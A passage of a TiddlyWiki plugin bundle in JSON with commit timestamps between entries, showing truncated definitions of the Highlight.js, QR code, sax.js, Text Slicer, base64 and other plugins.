left-bottom\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- BOTTOM LEFT RIBBON: END COPYING HERE -->\n```\n","title":"$:/plugins/tiddlywiki/github-fork-ribbon/usage","modified":"20230108212950099"},
2022-09-20 15:15:25 +00:00
{"title":"$:/plugins/tiddlywiki/highlight","name":"Highlight","description":"Highlight.js syntax highlighting","author":"Joao Bolila","list":"readme usage license","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/config/HighlightPlugin/TypeMappings/application/javascript\":{\"title\":\"$:/config/HighlightPlugin/TypeMappings/application/javascript\",\"text\":\"javascript\"},\"$:/config/HighlightPlugin/TypeMappings/application/json\":{\"title\":\"$:/config/HighlightPlugin/TypeMappings/application/json\",\"text\":\"json\"},\"$:/config/HighlightPlugin/TypeMappings/text/css\":{\"title\":\"$:/config/HighlightPlugin/TypeMappings/text/css\",\"text\":\"css\"},\"$:/config/HighlightPlugin/TypeMappings/text/html\":{\"title\":\"$:/config/HighlightPlugin/TypeMappings/text/html\",\"text\":\"html\"},\"$:/config/HighlightPlugin/TypeMappings/image/svg+xml\":{\"title\":\"$:/config/HighlightPlugin/TypeMappings/image/svg+xml\",\"text\":\"xml\"},\"$:/config/HighlightPlugin/TypeMappings/text/x-markdown\":{\"title\":\"$:/config/HighlightPlugin/TypeMappings/text/x-markdown\",\"text\":\"markdown\"},\"$:/plugins/tiddlywiki/highlight/highlight.js\":{\"text\":\"var hljs = require(\\\"$:/plugins/tiddlywiki/highlight/highlight.js\\\");\\n/*!\\n Highlight.js v11.4.0 (git: 2d0e7c1094)\\n (c) 2006-2022 Ivan Sagalaev and other contributors\\n License: BSD-3-Clause\\n */\\nvar hljs=function(){\\\"use strict\\\";var e={exports:{}};function t(e){\\nreturn e instanceof Map?e.clear=e.delete=e.set=()=>{\\nthrow Error(\\\"map is read-only\\\")}:e instanceof Set&&(e.add=e.clear=e.delete=()=>{\\nthrow Error(\\\"set is read-only\\\")\\n}),Object.freeze(e),Object.getOwnPropertyNames(e).forEach((n=>{var i=e[n]\\n;\\\"object\\\"!=typeof i||Object.isFrozen(i)||t(i)})),e}\\ne.exports=t,e.exports.default=t;var n=e.exports;class i{constructor(e){\\nvoid 0===e.data&&(e.data={}),this.data=e.data,this.isMatchIgnored=!1}\\nignoreMatch(){this.isMatchIgnored=!0}}function r(e){\\nreturn e.replace(/&/g,\\\"&amp;\\\").replace(/\u003C/g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\").replace(/\\\"/g,\\\"&quot;\\\").replace(/'/g,\\\"&#x27;\\\")\\n}function s(e,...t){const n=Object.create(null);for(const t in e)n[t]=e[t]\\n;return t.forEach((e=>{for(const t in e)n[t]=e[t]})),n}const o=e=>!!e.kind\\n;class a{constructor(e,t){\\nthis.buffer=\\\"\\\",this.classPrefix=t.classPrefix,e.walk(this)}addText(e){\\nthis.buffer+=r(e)}openNode(e){if(!o(e))return;let t=e.kind\\n;t=e.sublanguage?\\\"language-\\\"+t:((e,{prefix:t})=>{if(e.includes(\\\".\\\")){\\nconst n=e.split(\\\".\\\")\\n;return[`${t}${n.shift()}`,...n.map(((e,t)=>`${e}${\\\"_\\\".repeat(t+1)}`))].join(\\\" \\\")\\n}return`${t}${e}`})(t,{prefix:this.classPrefix}),this.span(t)}closeNode(e){\\no(e)&&(this.buffer+=\\\"\u003C/span>\\\")}value(){return this.buffer}span(e){\\nthis.buffer+=`\u003Cspan class=\\\"${e}\\\">`}}class c{constructor(){this.rootNode={\\nchildren:[]},this.stack=[this.rootNode]}get top(){\\nreturn this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){\\nthis.top.children.push(e)}openNode(e){const t={kind:e,children:[]}\\n;this.add(t),this.stack.push(t)}closeNode(){\\nif(this.stack.length>1)return this.stack.pop()}closeAllNodes(){\\nfor(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)}\\nwalk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,t){\\nreturn\\\"string\\\"==typeof t?e.addText(t):t.children&&(e.openNode(t),\\nt.children.forEach((t=>this._walk(e,t))),e.closeNode(t)),e}static _collapse(e){\\n\\\"string\\\"!=typeof e&&e.children&&(e.children.every((e=>\\\"string\\\"==typeof e))?e.children=[e.children.join(\\\"\\\")]:e.children.forEach((e=>{\\nc._collapse(e)})))}}class l extends c{constructor(e){super(),this.options=e}\\naddKeyword(e,t){\\\"\\\"!==e&&(this.openNode(t),this.addText(e),this.closeNode())}\\naddText(e){\\\"\\\"!==e&&this.add(e)}addSublanguage(e,t){const n=e.root\\n;n.kind=t,n.sublanguage=!0,this.add(n)}toHTML(){\\nreturn new a(this,this.options).value()}finalize(){return!0}}functi
2022-11-09 14:34:44 +00:00
{"title":"$:/plugins/tiddlywiki/internals","name":"Internals","description":"Tools for exploring the internals of TiddlyWiki","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\",\"tags\":\"$:/tags/EditPreview\",\"list-after\":\"$:/core/ui/EditTemplate/body/preview/output\",\"caption\":\"parse tree\",\"text\":\"\\\\define preview(mode)\\n\u003C$wikify name=\\\"preview-text\\\" text={{!!text}} type={{!!type}} mode=\\\"$mode$\\\" output=\\\"parsetree\\\">\\n\u003Cpre>\\n\u003Ccode>\\n\u003C$text text=\u003C\u003Cpreview-text>>/>\\n\u003C/code>\\n\u003C/pre>\\n\u003C/$wikify>\\n\\\\end\\n\\n{{||$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared}}\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/raw\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/raw\",\"tags\":\"$:/tags/EditPreview\",\"caption\":\"raw HTML\",\"list-after\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\",\"code-body\":\"yes\",\"text\":\"\u003Cpre>\u003Ccode>\u003C$view field=\\\"text\\\" format=\\\"htmlwikified\\\" />\u003C/code>\u003C/pre>\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared\",\"text\":\"\\\\define body()\\n\\nMode: \u003C$select tiddler=\\\"$(tv-mode-configuration)$\\\" default=\\\"block\\\">\\n\u003Coption value=\\\"inline\\\">Inline\u003C/option>\\n\u003Coption value=\\\"block\\\">Block\u003C/option>\\n\u003C/$select>\\n\\n\u003C$macrocall $name=\\\"preview\\\" mode={{$(tv-mode-configuration)$}}/>\\n\\\\end\\n\\n\u003Cdiv class=\\\"tc-internal-tree-preview-wrapper\\\">\\n\\n\u003Cdiv class=\\\"tc-internal-tree-preview\\\">\\n\\n\u003C$vars tv-mode-configuration=\u003C\u003Cqualify \\\"$:/state/internals/preview/mode\\\">>>\\n\\n\u003C\u003Cbody>>\\n\\n\u003C/$vars>\\n\\n\u003C/div>\\n\\n\u003C/div>\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\",\"tags\":\"$:/tags/EditPreview\",\"caption\":\"widget tree\",\"list-after\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\",\"text\":\"\\\\define preview(mode)\\n\u003C$wikify name=\\\"preview-text\\\" text={{!!text}} type={{!!type}} mode=\\\"$mode$\\\" output=\\\"widgettree\\\">\\n\u003Cpre>\\n\u003Ccode>\\n\u003C$text text=\u003C\u003Cpreview-text>>/>\\n\u003C/code>\\n\u003C/pre>\\n\u003C/$wikify>\\n\\\\end\\n\\n{{||$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared}}\\n\"},\"$:/plugins/tiddlywiki/internals/readme\":{\"title\":\"$:/plugins/tiddlywiki/internals/readme\",\"text\":\"This plugin adds features to help explore the internals of TiddlyWiki:\\n\\n* New preview panes showing:\\n** the parse tree\\n** the widget tree\\n** the raw HTML output\\n\\nThe first two include a dropdown for choosing block vs. inline parsing mode.\\n\"},\"$:/plugins/tiddlywiki/internals/styles\":{\"title\":\"$:/plugins/tiddlywiki/internals/styles\",\"tags\":\"$:/tags/Stylesheet\",\"text\":\"\\\\rules only filteredtranscludeinline transcludeinline macrodef macrocallinline macrocallblock\\n\"}}}"},
2022-11-04 18:23:03 +00:00
{"title":"$:/plugins/tiddlywiki/qrcode","name":"QR Code","description":"QR Code generator","author":"Zeno Zeng","list":"readme usage examples license","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/qrcode/MakeContactQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeContactQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Contact\",\"text\":\"\\\\define wifi-url()\\nWIFI:wifi name;T:WPA;S:SSID;P:password;\\n\\\\end\\n\\n\\\\define image(firstname,lastname,address,tel,email)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"MECARD:N:$lastname$,$firstname$;ADR:$address$;TEL:$tel$;EMAIL:$email$;;\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the contact details\\n\\nFirst name: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/firstname\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nLast name: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/lastname\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nAddress: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/address\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nTelephone: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/tel\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nEmail: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/email\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" firstname={{$:/config/plugins/tiddlywiki/qrcode/contact/firstname}} lastname={{$:/config/plugins/tiddlywiki/qrcode/contact/lastname}} address={{$:/config/plugins/tiddlywiki/qrcode/contact/address}} tel={{$:/config/plugins/tiddlywiki/qrcode/contact/tel}} email={{$:/config/plugins/tiddlywiki/qrcode/contact/email}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/MakeGenericQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeGenericQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Generic\",\"text\":\"\\\\define image(content)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"$content$\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the details\\n\\nYou can also use this form to encode URLs.\\n\\n\u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/generic\\\" default=\\\"\\\" class=\\\"tc-edit-texteditor\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" content={{$:/config/plugins/tiddlywiki/qrcode/generic}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/MakeWifiQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeWifiQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Wifi\",\"text\":\"\\\\define wifi-url()\\nWIFI:T:WPA;S:SSID;P:password;;\\n\\\\end\\n\\n\\\\define image(network,encryption,ssid,password)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"WIFI:T:$encryption$;S:$ssid$;P:$password$;;\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the details of your wifi network\\n\\nEncryption: \u003C$select tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/encryption\\\" default=\\\"none\\\">\\n\u003Coption value=\\\"none\\\">None\u003C/option>\\n\u003Coption value=\\\"WEP\\\">WEP\u003C/option>\\n\u003Coption value=\\\"WPA\\\">WPA\u003C/option>\\n\u003Coption value=\\\"WPA2\\\">WPA2\u003C/option>\\n\u003C/$select>\\n\\nSSID: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/ssid\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nPassword: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/password\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" network={{$:/config/plugins/tiddlywiki/qrcode/wifi/network}} encryption={{$:/config/plugins/tiddlywiki/qrcode/wifi/encryption}} ssid={{$:/config/plugins/tiddlywiki/qrcode/wifi/ssid}} password={{$:/config/plugins/tiddlywiki/qrcode/wifi/password}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton\",\"tags\":\"$:/tags/ViewToolbar\",\"list-before\":\"$:/core/ui/Buttons/close\",\"caption\":\"{{$:/plugins/tiddly
2022-11-04 18:39:36 +00:00
{"created":"20221104182610249","title":"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton","tags":"$:/tags/ViewToolbar","caption":"{{$:/plugins/tiddlywiki/qrcode/icon}} QR code","short-caption":"QR code","description":"Generate QR code for this tiddler","text":"\\whitespace trim\n\u003Cspan class=\"tc-popup-keep\">\n\u003C$button popup=\u003C\u003Cqualify \"$:/state/popup/qrcode\">> tooltip={{$:/plugins/tiddlywiki/qrcode/ViewToolbarButton!!description}} aria-label={{$:/plugins/tiddlywiki/qrcode/ViewToolbarButton!!short-caption}} class=\u003C\u003Ctv-config-toolbar-class>> class=\u003C\u003Ctv-config-toolbar-class>> selectedClass=\"tc-selected\">\n\u003C$list filter=\"[\u003Ctv-config-toolbar-icons>match[yes]]\">\n{{$:/plugins/tiddlywiki/qrcode/icon}}\n\u003C/$list>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-text>match[yes]]\">\n\u003Cspan class=\"tc-btn-text\">\n\u003C$text text={{$:/plugins/tiddlywiki/qrcode/ViewToolbarButton!!short-caption}}/>\n\u003C/span>\n\u003C/$list>\n\u003C/$button>\n\u003C/span>\n\u003C$reveal state=\u003C\u003Cqualify \"$:/state/popup/qrcode\">> type=\"popup\" position=\"below\" animate=\"yes\">\n\n\u003Cdiv class=\"tc-drop-down\">\n\n{{$:/plugins/tiddlywiki/qrcode/ViewToolbarButton||description}}\n\n\u003C$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n\u003C$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n\u003C$set name=\"tv-config-toolbar-class\" value=\"tc-btn-invisible\">\n\n\u003C$set name=\"targetTiddler\" value=\u003C\u003CcurrentTiddler>>>\n\n\u003C$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbarButton/QRcode]!has[draft.of]]\">\n\n\u003C$button popup=\u003C\u003Cqualify \"$:/state/popup/qrcode/type\">> class=\"tc-btn-invisible\" selectedClass=\"tc-selected\">\n\n\u003C$action-sendmessage $message=\"tm-modal\" $param=\u003C\u003CcurrentTiddler>> currentTiddler=\u003C\u003CtargetTiddler>>/>\n\n\u003C$transclude field=\"caption\" mode=\"inline\"/>\n\n\u003C/$button>\n\n\u003C/$list>\n\n\u003C/$set>\n\n\u003C/$set>\n\n\u003C/$set>\n\n\u003C/$set>\n\n\u003C/div>\n\n\u003C/$reveal>\n","modified":"20221104182610249"},
2022-11-09 14:34:44 +00:00
{"title":"$:/plugins/tiddlywiki/sax","name":"sax js","description":"sax.js library","author":"Isaac Z. Schlueter","list":"readme license","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/sax/sax.js\":{\"text\":\";(function (sax) { // wrapper for non-node envs\\n sax.parser = function (strict, opt) { return new SAXParser(strict, opt) }\\n sax.SAXParser = SAXParser\\n sax.SAXStream = SAXStream\\n sax.createStream = createStream\\n\\n // When we pass the MAX_BUFFER_LENGTH position, start checking for buffer overruns.\\n // When we check, schedule the next check for MAX_BUFFER_LENGTH - (max(buffer lengths)),\\n // since that's the earliest that a buffer overrun could occur. This way, checks are\\n // as rare as required, but as often as necessary to ensure never crossing this bound.\\n // Furthermore, buffers are only tested at most once per write(), so passing a very\\n // large string into write() might have undesirable effects, but this is manageable by\\n // the caller, so it is assumed to be safe. Thus, a call to write() may, in the extreme\\n // edge case, result in creating at most one complete copy of the string passed in.\\n // Set to Infinity to have unlimited buffers.\\n sax.MAX_BUFFER_LENGTH = 64 * 1024\\n\\n var buffers = [\\n 'comment', 'sgmlDecl', 'textNode', 'tagName', 'doctype',\\n 'procInstName', 'procInstBody', 'entity', 'attribName',\\n 'attribValue', 'cdata', 'script'\\n ]\\n\\n sax.EVENTS = [\\n 'text',\\n 'processinginstruction',\\n 'sgmldeclaration',\\n 'doctype',\\n 'comment',\\n 'opentagstart',\\n 'attribute',\\n 'opentag',\\n 'closetag',\\n 'opencdata',\\n 'cdata',\\n 'closecdata',\\n 'error',\\n 'end',\\n 'ready',\\n 'script',\\n 'opennamespace',\\n 'closenamespace'\\n ]\\n\\n function SAXParser (strict, opt) {\\n if (!(this instanceof SAXParser)) {\\n return new SAXParser(strict, opt)\\n }\\n\\n var parser = this\\n clearBuffers(parser)\\n parser.q = parser.c = ''\\n parser.bufferCheckPosition = sax.MAX_BUFFER_LENGTH\\n parser.opt = opt || {}\\n parser.opt.lowercase = parser.opt.lowercase || parser.opt.lowercasetags\\n parser.looseCase = parser.opt.lowercase ? 'toLowerCase' : 'toUpperCase'\\n parser.tags = []\\n parser.closed = parser.closedRoot = parser.sawRoot = false\\n parser.tag = parser.error = null\\n parser.strict = !!strict\\n parser.noscript = !!(strict || parser.opt.noscript)\\n parser.state = S.BEGIN\\n parser.strictEntities = parser.opt.strictEntities\\n parser.ENTITIES = parser.strictEntities ? Object.create(sax.XML_ENTITIES) : Object.create(sax.ENTITIES)\\n parser.attribList = []\\n\\n // namespaces form a prototype chain.\\n // it always points at the current tag,\\n // which protos to its parent tag.\\n if (parser.opt.xmlns) {\\n parser.ns = Object.create(rootNS)\\n }\\n\\n // mostly just for error reporting\\n parser.trackPosition = parser.opt.position !== false\\n if (parser.trackPosition) {\\n parser.position = parser.line = parser.column = 0\\n }\\n emit(parser, 'onready')\\n }\\n\\n if (!Object.create) {\\n Object.create = function (o) {\\n function F () {}\\n F.prototype = o\\n var newf = new F()\\n return newf\\n }\\n }\\n\\n if (!Object.keys) {\\n Object.keys = function (o) {\\n var a = []\\n for (var i in o) if (o.hasOwnProperty(i)) a.push(i)\\n return a\\n }\\n }\\n\\n function checkBufferLength (parser) {\\n var maxAllowed = Math.max(sax.MAX_BUFFER_LENGTH, 10)\\n var maxActual = 0\\n for (var i = 0, l = buffers.length; i \u003C l; i++) {\\n var len = parser[buffers[i]].length\\n if (len > maxAllowed) {\\n // Text/cdata nodes can get big, and since they're buffered,\\n // we can get here under normal conditions.\\n // Avoid issues by emitting the text node now,\\n // so at least it won't get any bigger.\\n
{"title":"$:/plugins/tiddlywiki/text-slicer","name":"Text Slicer","description":"Tools for slicing text into tiddlers","list":"readme docs","dependents":"$:/plugins/tiddlywiki/sax","version":"5.2.3","plugin-type":"plugin","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/text-slicer/docs/exporters\":{\"title\":\"$:/plugins/tiddlywiki/text-slicer/docs/exporters\",\"tags\":\"$:/plugins/tiddlywiki/text-slicer/docs\",\"caption\":\"Exporters\",\"text\":\"Documents can be saved under Node.js, or previewed in the browser.\\n\\n[TBD]\\n\"},\"$:/plugins/tiddlywiki/text-slicer/docs/internals\":{\"title\":\"$:/plugins/tiddlywiki/text-slicer/docs/internals\",\"tags\":\"$:/plugins/tiddlywiki/text-slicer/docs\",\"caption\":\"Internals\",\"text\":\"! Introduction\\n\\nThe slicing process is performed by a simple automaton that scans the document and applies simple declarative rules to yield a collection of tiddlers.\\n\\nThe automaton processes the incoming XML document starting with the root element and then recursively visits each child node and their children. Actions are triggered as each component of the document is encountered:\\n\\n* Opening tags of elements\\n* Closing tags of elements\\n* Text nodes\\n\\nComponents are matched against the current set of rules to determine what actions should be performed. They can include a combination of:\\n\\n* Starting a new tiddler with specified fields\\n* Rendering the markup for the current tag into the current tiddler\\n* Appending the content of the current text node to the current tiddler\\n* Threading tiddlers to their parents using a combination of the `list` and `tags` fields\\n\\n! Slicing State Data\\n\\nAs the automaton performs its scan, it maintains the following state information:\\n\\n* ''chunks'' - an array of tiddlers without titles, addressed by their numeric index. The title field is reused to hold the plain text of the chunk that is later used to generate the final title for the tiddler\\n* ''currentChunk'' - the numeric index of the chunk currently being filled, or `null` if there is no current chunk\\n* ''parentStack'' - a stack of parent chunks stored as `{chunk: \u003Cchunk-index>, actions: \u003Cactions>}`\\n\\nAt the start, the special document chunk is created and pushed onto the stack of parent chunks\\n\\n! Slicing Rules\\n\\nSlicing rules are maintained in tiddlers tagged `$:/tags/text-slicer/slicer-rules` with the following fields:\\n\\n* ''title'' - title of the tiddler containing the listof rules\\n* ''name'' - short, human readable name for the set of rules\\n* ''inherits-from'' - (optional) the ''name'' field of another set of rules that should be inherited as a base\\n* ''text'' - JSON data as described below\\n\\nThe JSON data is an array of rules, each of which is an object with the following fields:\\n\\n* ''selector'' - a selector string identifying the components to be matched by this rule\\n* ''actions'' - an object describing the actions to be performed when this selector matches a tag\\n\\n!! Selectors\\n\\nThe selector format is a simplified form of CSS selectors. They are specified as follows:\\n\\n* A ''selector'' is a list of one or more ''match expressions'' separated by commas. The rule is triggered if any of the match expressions produce a positive match\\n* A ''match expression'' is a list of one or element ''tag names'' separated by spaces. The rule is triggered if the final tag name in the list matches the tag of the current element, and all of the preceding tags in the expression exist as ancestors of the current element in the specified order (but not necessarily as immediate children of one another)\\n* A ''tag name'' is the textual name of an element\\n* Tag names in match expressions may optionally be separated by a `>` sign surrounded by spaces to impose the requirement that the left hand element be the immediate parent of the right hand element\\n\\n!!! Example Selectors\\n\\nThis XML document will be used to illustrate some examples:\\n\\n```\\n\u003Ca>\\n \u003Cb>\\n \u003Cd>one\u003C/d>\\n \u003C/
2022-11-09 16:46:40 +00:00
{"created":"20221109160736203","title":"$:/plugins/tiddlywiki/text-slicer/ui/slice-toolbar-button","tags":"$:/tags/ViewToolbar","caption":"{{$:/plugins/tiddlywiki/text-slicer/images/text-slicer-icon}} Slice text tiddler","description":"Slice this text tiddler by headings and lists","text":"\\whitespace trim\n\n\\define hint()\nSlice this text tiddler into chunks\n\\end\n\n\u003C$list filter=\"[\u003CcurrentTiddler>!is[image]!is[binary]]\" variable=\"ignore\">\n\u003C$button tooltip=\u003C\u003Chint>> aria-label=\u003C\u003Chint>> class=\u003C\u003Ctv-config-toolbar-class>>>\n\u003C$action-sendmessage $message=\"tm-modal\" $param=\"$:/plugins/tiddlywiki/text-slicer/ui/slice-modal\" currentTiddler=\u003C\u003CcurrentTiddler>>/>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-icons>match[yes]]\">\n{{$:/plugins/tiddlywiki/text-slicer/images/text-slicer-icon}}\n\u003C/$list>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-text>match[yes]]\">\n\u003Cspan class=\"tc-btn-text\">Slice tiddler\u003C/span>\n\u003C/$list>\n\u003C/$button>\n\u003C/$list>\n","modified":"20221109160736203"},
2022-11-09 14:49:12 +00:00
{"title":"$:/plugins/tobibeer/base64","description":"base64 encoding and decoding for ~TiddlyWiki","author":"Tobias Beer","version":"0.5.0","core-version":">=5.1.9","source":"https://github.com/tobibeer/tw5-base64","documentation":"https://tobibeer.github.io/tw5-base64","plugin-type":"plugin","requires":"","list":"readme","dependents":"","type":"application/json","text":"{\n \"tiddlers\": {\n \"$:/plugins/tobibeer/base64/filter.js\": {\n \"title\": \"$:/plugins/tobibeer/base64/filter.js\",\n \"text\": \"/*\\\\\\r\\ntitle: $:/plugins/tobibeer/base64/filter.js\\r\\ntype: application/javascript\\r\\nmodule-type: filteroperator\\r\\n\\r\\nA filter to encode and decode base64\\r\\n\\r\\n@preserve\\r\\n\\\\*/\\r\\n(function(){\\\"use strict\\\";exports.base64=function(e,r,t){var n=\\\"\\\",o=r.suffix==\\\"decode\\\";try{if(r.operand){n=r.operand}else{e(function(e,r){n+=r})}n=o?atob(n):btoa(n)}catch(i){return[\\\"Error in base64 filter trying to \\\"+(o?\\\"de\\\":\\\"en\\\")+\\\"code'\\\"+n+\\\"':\\\\n\\\"+i]}return[n]}})();\",\n \"type\": \"application/javascript\",\n \"module-type\": \"filteroperator\"\n },\n \"$:/plugins/tobibeer/base64/readme\": {\n \"title\": \"$:/plugins/tobibeer/base64/readme\",\n \"text\": \"The plugin $:/plugins/tobibeer/base64 provides:\\n\\n; base64[]\\r\\n: a filter to encode text to base64\\n\\n; base64:decode[]\\r\\n: and dencode base64 to text\\n\\n\u003Cbr>\\n\\n; documentation / examples / demos...\\r\\n: http://tobibeer.github.io/tw5-plugins#base64\"\n }\n }\n}"},
2023-01-26 11:17:34 +00:00
{"title":"$:/plugins/tobibeer/inc","description":"Enhance transclusion by including tiddlers with an on-hover toolbar","author":"Tobias Beer","version":"0.5.2","core-version":">=5.1.9","source":"https://github.com/tobibeer/tw5-inc","documentation":"https://tobibeer.github.io/tw5-inc","plugin-type":"plugin","requires":"","list":"readme","dependents":"","type":"application/json","text":"{\n \"tiddlers\": {\n \"$:/plugins/tobibeer/inc/buttons/open\": {\n \"title\": \"$:/plugins/tobibeer/inc/buttons/open\",\n \"text\": \"\u003C$button tooltip=\\\"Open this tiddler\\\" class=\u003C\u003Ctv-config-toolbar-class>>>\\r\\n\u003C$action-navigate/>\\r\\n\u003C$list filter=\\\"[\u003Ctv-config-toolbar-icons>prefix[yes]]\\\">\\r\\n{{$:/core/images/down-arrow}}\\r\\n\u003C/$list>\\r\\n\u003C$list filter=\\\"[\u003Ctv-config-toolbar-text>prefix[yes]]\\\">\\r\\n\u003Cspan class=\\\"tc-btn-text\\\">open\u003C/span>\\r\\n\u003C/$list>\\r\\n\u003C/$button>\"\n },\n \"$:/plugins/tobibeer/inc/macro\": {\n \"title\": \"$:/plugins/tobibeer/inc/macro\",\n \"tags\": \"$:/tags/Macro\",\n \"text\": \"\\\\define tb-inc(tiddler)\\r\\n\u003Cdiv class=\\\"tb-inc\\\" title=\\\"\\\"\\\"transcluded tiddler '$tiddler$'\\\"\\\"\\\">\\r\\n\u003C$tiddler tiddler=\\\"\\\"\\\"$tiddler$\\\"\\\"\\\">\\r\\n\u003Cdiv class=\\\"tb-inc-controls tc-tiddler-controls\\\">\\r\\n\u003C$list filter=\\\"[list[$:/plugins/tobibeer/inc/toolbar!!text]]\\\" variable=\\\"listItem\\\">\u003C$transclude tiddler=\u003C\u003ClistItem>>/>\u003C/$list>\\r\\n\u003C/div>\\r\\n\u003Cdiv class=\\\"tb-inc-tiddler\\\">\\r\\n\u003C$transclude mode=block/>\\r\\n\u003C/div>\\r\\n\u003C/$tiddler>\\r\\n\u003C/div>\\r\\n\\\\end\\r\\n\\\\define {(tiddler)\\r\\n\u003C$reveal type=\\\"match\\\" text=\\\"\\\"\\\"$tiddler$\\\"\\\"\\\" default=\\\"\\\">\\r\\n\u003C$macrocall $name=\\\"tb-inc\\\" tiddler=\u003C\u003CcurrentTiddler>>/>\\r\\n\u003C/$reveal>\\r\\n\u003C$reveal type=\\\"nomatch\\\" text=\\\"\\\"\\\"$tiddler$\\\"\\\"\\\" default=\\\"\\\">\\r\\n\u003C$macrocall $name=\\\"tb-inc\\\" tiddler=\\\"\\\"\\\"$tiddler$\\\"\\\"\\\"/>\\r\\n\u003C/$reveal>\\r\\n\\\\end\"\n },\n \"$:/plugins/tobibeer/inc/readme\": {\n \"title\": \"$:/plugins/tobibeer/inc/readme\",\n \"text\": \"Provides the macro `\u003C\u003C{>>` that allows to transclude tiddlers with an on-hover toolbar for editing.\\n\\n; documentation / examples / demos...\\r\\n: http://tobibeer.github.io/tw5-plugins#inc\"\n },\n \"$:/plugins/tobibeer/inc/styles\": {\n \"title\": \"$:/plugins/tobibeer/inc/styles\",\n \"tags\": \"$:/tags/Stylesheet\",\n \"type\": \"text/css\",\n \"text\": \".tb-inc-controls{\\r\\nmargin-top:-2em;\\r\\npadding: 5px;\\r\\ndisplay:none;\\r\\n}\\r\\n.tb-inc-tab-content .tb-inc{\\r\\nmargin:0;\\r\\npadding:0;\\r\\nposition:relative;\\r\\n}\\r\\n.tb-inc-tab-content .tb-inc-controls{\\r\\nposition:absolute;\\r\\nmargin-top:-5px;\\r\\nright:0;\\r\\ntop:0;\\r\\n}\\r\\n.tb-inc:hover > .tb-inc-controls{\\r\\ndisplay:block;\\r\\nfloat:right;\\r\\n}\"\n },\n \"$:/plugins/tobibeer/inc/templates/tabs\": {\n \"title\": \"$:/plugins/tobibeer/inc/templates/tabs\",\n \"text\": \"\u003Cdiv class=\\\"tb-inc-tab-content\\\">\\n\u003C$macrocall $name=\\\"{\\\" tiddler=\u003C\u003CcurrentTab>>/>\\n\u003C/div>\"\n },\n 